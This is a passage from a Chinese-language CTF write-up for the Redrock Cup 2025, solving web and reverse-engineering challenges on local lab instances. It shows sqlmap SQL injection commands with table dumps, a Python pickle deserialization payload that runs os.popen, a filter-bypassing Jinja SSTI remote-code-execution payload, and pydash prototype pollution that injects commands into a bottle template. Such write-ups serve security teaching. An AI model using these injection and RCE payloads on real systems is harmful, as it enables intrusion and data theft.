Content-Length: 55
sec-ch-ua: "Chromium";v="121", "Not A(Brand";v="99"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://127.0.0.1:29845
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:29845/login.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=%c0%ee%cb%c4&password=%61%64%6d%69%6e%31%32%33

有POST的数据包了,掏出Sqlmap

先查一下数据库

Terminal window
sqlmap -r login.txt --dbms=mysql --encoding=GBK --tamper=unmagicquotes --batch --dbs
available databases [4]:
[*] h4ck3rs
[*] information_schema
[*] mysql
[*] performance_schema

看看h4ck3rs里面有哪些表

Terminal window
sqlmap -r login.txt --dbms=mysql --encoding=GBK --tamper=unmagicquotes --batch -D h4ck3rs --tables
+--------+
| secret |
| users |
+--------+

竟然有小秘密,dump一下,拿到Flag

Terminal window
sqlmap -r login.txt --dbms=mysql --encoding=GBK --tamper=unmagicquotes --batch -D h4ck3rs -T secret --dump
Database: h4ck3rs
Table: secret
[1 entry]
+----------------------------------------+
| flag |
+----------------------------------------+
| REDROCK{In5ecur3_m0ck_pre-comp1lation} |
+----------------------------------------+

4.6 [简单] pickle#

考点:pickle注入

初来驾到,发现网页一个交互点都没有,所以打开F12,看看里面有什么,结果发现Cookies这里有个test=gASVGwAAAAAAAAB9lIwIdXNlcm5hbWWUjAlyZWRyb2NrZXKUcy4=,拿给AI分析一下,发现这是一个 Python Pickle 序列化 的数据,使用了 Base64 编码,值:{'username': 'redrocket'}

把{'username': 'redrocket'}换成{'username': 'miku'},发现欢迎 Redrocker变成了欢迎 miku,所以这个点可以操作

竟然我们应该可以操作这个字段了,那么我们可以写一个class,让它执行命令并将执行结果通过异常抛出

先读一下根目录下的文件

import pickle
import base64
class RCE:
def __reduce__(self):
return (exec, ("raise Exception(__import__('os').popen('ls /').read())",))
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())
<title>Exception: app
bin
boot
dev
etc
fllllllllag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var

直接读Flag:

import pickle
import base64
class RCE:
def __reduce__(self):
return (exec, ("raise Exception(__import__('os').popen('cat /fllllllllag').read())",))
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())
<title>Exception: Redrock{PIckIE_deSerlALlzaTi0N_5ucce5SFU1_0fe787627c72}

至此,成功得到Flag

4.7 [简单] 猫猫狗狗迷人眼#

考点:SSTI模板注入

call1ing姐姐的提示说报错界面有问题,直接随便输一个路由触发报错,发现Request URL: {{this}}这里含有模板,所以我们来精心构建一个Payload

⚠经过尝试,发现.和[]被隔离了,所以用|attr()

调用链:

  1. 起点:空元组 () 从Python内置的空元组对象开始

  2. 获取类对象 |attr(‘class’) ().class -> 获取元组类 tuple

  3. 获取基类 |attr(‘base’) tuple.base → 获取object类(所有类的基类)

  4. 获取所有子类 |attr(‘subclasses’)() object.subclasses() -> 获取Python环境中所有已加载的类列表

  5. 选择特定子类 |attr(‘getitem’)(138) 从子类列表中选择第138个 (<class ‘os._wrap_close’>)

  6. 获取初始化方法 |attr(‘init’) 获取该类的__init__方法

  7. 获取全局命名空间 |attr(‘globals’) init.globals -> 获取该方法所属模块的全局变量字典

  8. 找到popen函数 |attr(‘getitem’)(‘popen’) 从全局变量中提取popen函数

  9. 执行系统命令 (‘cat /flag’) 调用popen(‘cat /flag’)执行命令读取flag文件

  10. 读取命令输出 |attr(‘read’)() 调用read()方法获取命令执行结果

Payload

http://127.0.0.1:20039/{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(138)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')()}}

使用这个payload读取到了Flag

redrock{S57l_I5_51MP1E_73014b4971ae}

4.8 [困难] pydash meet ssti#

考点:pydash原型链污染;bottle模板注入

首先,利用setVal路由将restricted_key污染

http://127.0.0.1:8000/setValue?name=pydash
json:
{
"path": "helpers.RESTRICTED_KEYS",
"value": "miku senior sister the master of kali linux"
}

少了这个约束条件后我们就可以放开手脚干了

然后,我们来污染bottle的默认报错模板

先看一下根目录下的文件

http://127.0.0.1:8000/setValue?name=setval
json:
{
"path": "__globals__.bottle.ERROR_PAGE_TEMPLATE",
"value": "{{__import__('os').popen('ls /').read()}}"
}

随便找一个不存在的路由触发报错,得到

app
bin
boot
dev
etc
fllllllllllllllaaaaaaaaaaaaaaaaaaaag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

现在直接看flag

http://127.0.0.1:8000/setValue?name=setval
json:
{
"path": "__globals__.bottle.ERROR_PAGE_TEMPLATE",
"value": "{{__import__('os').popen('cat /fllllllllllllllaaaaaaaaaaaaaaaaaaaag').read()}}"
}

随便找一个不存在的路由触发报错,得到

Redrock{55t1_15_e54Y_d859cebdb524}

5. Reverse#

5.1 [入门] 没手也能做#

这题挺难的,要把手剁了🤣🤣🤣

IDA打开,Shift + F12就看见flag了

5.2 [入门] Start#

跟着提示来就行

  1. 进去,肯定是先按F5看反编译的代码:

  2. 之后,找到(char *)&flag_part1,这里,点flag_part1两次

  3. 按A,得到第一部分flag:flag1: redrock{1d4_15_

  4. 点aPressShiftAndF,后面说让你按Shift+F12,得到第二部分flag:4_v3ry_

  5. 点一下Format然后按X,继续点flag2_function,然后按X,得到flag3:_1mp0rt4nt_t00l

  6. 加上}变成完整flag

5.3 [简单] 位运算#

第一步,我们先拿pyinstxtractor解包一下这个可执行文件

Terminal window
pyinstxtractor bitwise
Terminal window
[+] Processing bitwise
[+] Pyinstaller version: 2.1+
[+] Python version: 3.11
[+] Length of package: 11747233 bytes
[+] Found 11 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: bitwise.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.11 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: bitwise
You can now use a python decompiler on the pyc files within the extracted directory

第二步,用pycdc反编译bitwise.pyc文件得到源码(这里我让AI格式化了一下)

def check(s: str) -> bool:
if len(s) != 46:
print('Length incorrect')
return False
targets_1 = [912, 808, 800, 912, 888, 792, 856, 984]
for ch, tgt in zip(s[:8], targets_1):
if (ord(ch) << 3) != tgt:
return False
high = [49, 24, 58, 59, 24, 26, 25]
low = [0, 1, 0, 1, 1, 1, 1]
for ch, h, l in zip(s[8:15], high, low):
if (ord(ch) >> 1) != h or (ord(ch) & 1) != l:
return False
targets_3 = [95, 48, 112, 53, 95, 64, 114, 101, 95]
for ch, tgt in zip(s[15:24], targets_3):
if ord(ch)|0 != tgt:
return False
targets_4 = [-100, -49, -110, -110, -49, -111, -96, -50, -111, -96]
for ch, tgt in zip(s[24:34], targets_4):
if (~ord(ch)) != tgt:
return False
targets_5 = [1131895, 1131878, 1131811, 1131876, 1131872, 1131851,
1131808, 1131896, 1131891, 1131812, 1131809, 1131881]
for ch, tgt in zip(s[34:], targets_5):
if (ord(ch) ^ 1131796) != tgt:
return False
return True
if __name__ == '__main__':
test_str = input('Enter the flag: ')
print('Correct flag!' if check(test_str) else 'Incorrect flag!')

OK,现在来看看逻辑

targets_1 = [912, 808, 800, 912, 888, 792, 856, 984]
for ch, tgt in zip(s[:8], targets_1):
if (ord(ch) << 3) != tgt:
return False

这里的意思是:输入前 0~7 字节左移三位后(实际上是*2^3)必须等于targets_1中的值

high = [49, 24, 58, 59, 24, 26, 25]
low = [0, 1, 0, 1, 1, 1, 1]
for ch, h, l in zip(s[8:15], high, low):
if (ord(ch) >> 1) != h or (ord(ch) & 1) != l:
return False

这里的意思是:第 8~14 字节的高7位整除2在high中,低7位对2取模在low中

targets_3 = [95, 48, 112, 53, 95, 64, 114, 101, 95]
for ch, tgt in zip(s[15:24], targets_3):
if ord(ch)|0 != tgt:
return False

这里的意思是:第 15~23 字节与targets_3对应相等

targets_4 = [-100, -49, -110, -110, -49, -111, -96, -50, -111, -96]
for ch, tgt in zip(s[24:34], targets_4):
if (~ord(ch)) != tgt:
return False

这里的意思是:第 24~33 字节按位取反后等于目标

targets_5 = [1131895, 1131878, 1131811, 1131876, 1131872, 1131851,
1131808, 1131896, 1131891, 1131812, 1131809, 1131881]
for ch, tgt in zip(s[34:], targets_5):
if (ord(ch) ^ 1131796) != tgt:
return False

这里的意思是:第 34~46 位与1131796抑或后与targets_5中的一一相等

现在知道逻辑了,把它反过来就是计算flag的方法:

def decode_flag_compact():
targets_1 = [912, 808, 800, 912, 888, 792, 856, 984]
part1 = ''.join(chr(t >> 3) for t in targets_1)
high = [49, 24, 58, 59, 24, 26, 25]
low = [0, 1, 0, 1, 1, 1, 1]
part2 = ''.join(chr((h << 1) | l) for h, l in zip(high, low))
targets_3 = [95, 48, 112, 53, 95, 64, 114, 101, 95]
part3 = ''.join(chr(t) for t in targets_3)
targets_4 = [-100, -49, -110, -110, -49, -111, -96, -50, -111, -96]
part4 = ''.join(chr(-t - 1) for t in targets_4)
targets_5 = [1131895, 1131878, 1131811, 1131876, 1131872, 1131851,
1131808, 1131896, 1131891, 1131812, 1131809, 1131881]
xor_key = 1131796
part5 = ''.join(chr(t ^ xor_key) for t in targets_5)
return part1 + part2 + part3 + part4 + part5
flag = decode_flag_compact()
print(f"Flag: {flag}")

最后得到Flag

redrock{b1tw153_0p5_@re_c0mm0n_1n_cr7pt_4lg05}

6. 结尾#

没有了喵,谢谢阅读

gopher
gopher

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

[红岩杯]::CTF::2025-WriteUP
https://blog.tuf3i.cc/posts/redrockcup2025wp/
作者
TuF3i
发布于
2026-10-09
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
TuF3i
一只区,什么也不想写
分类
标签
站点统计
文章
19
分类
11
标签
20
总字数
50,652
运行时长
0 天
最后活动
0 天前

目录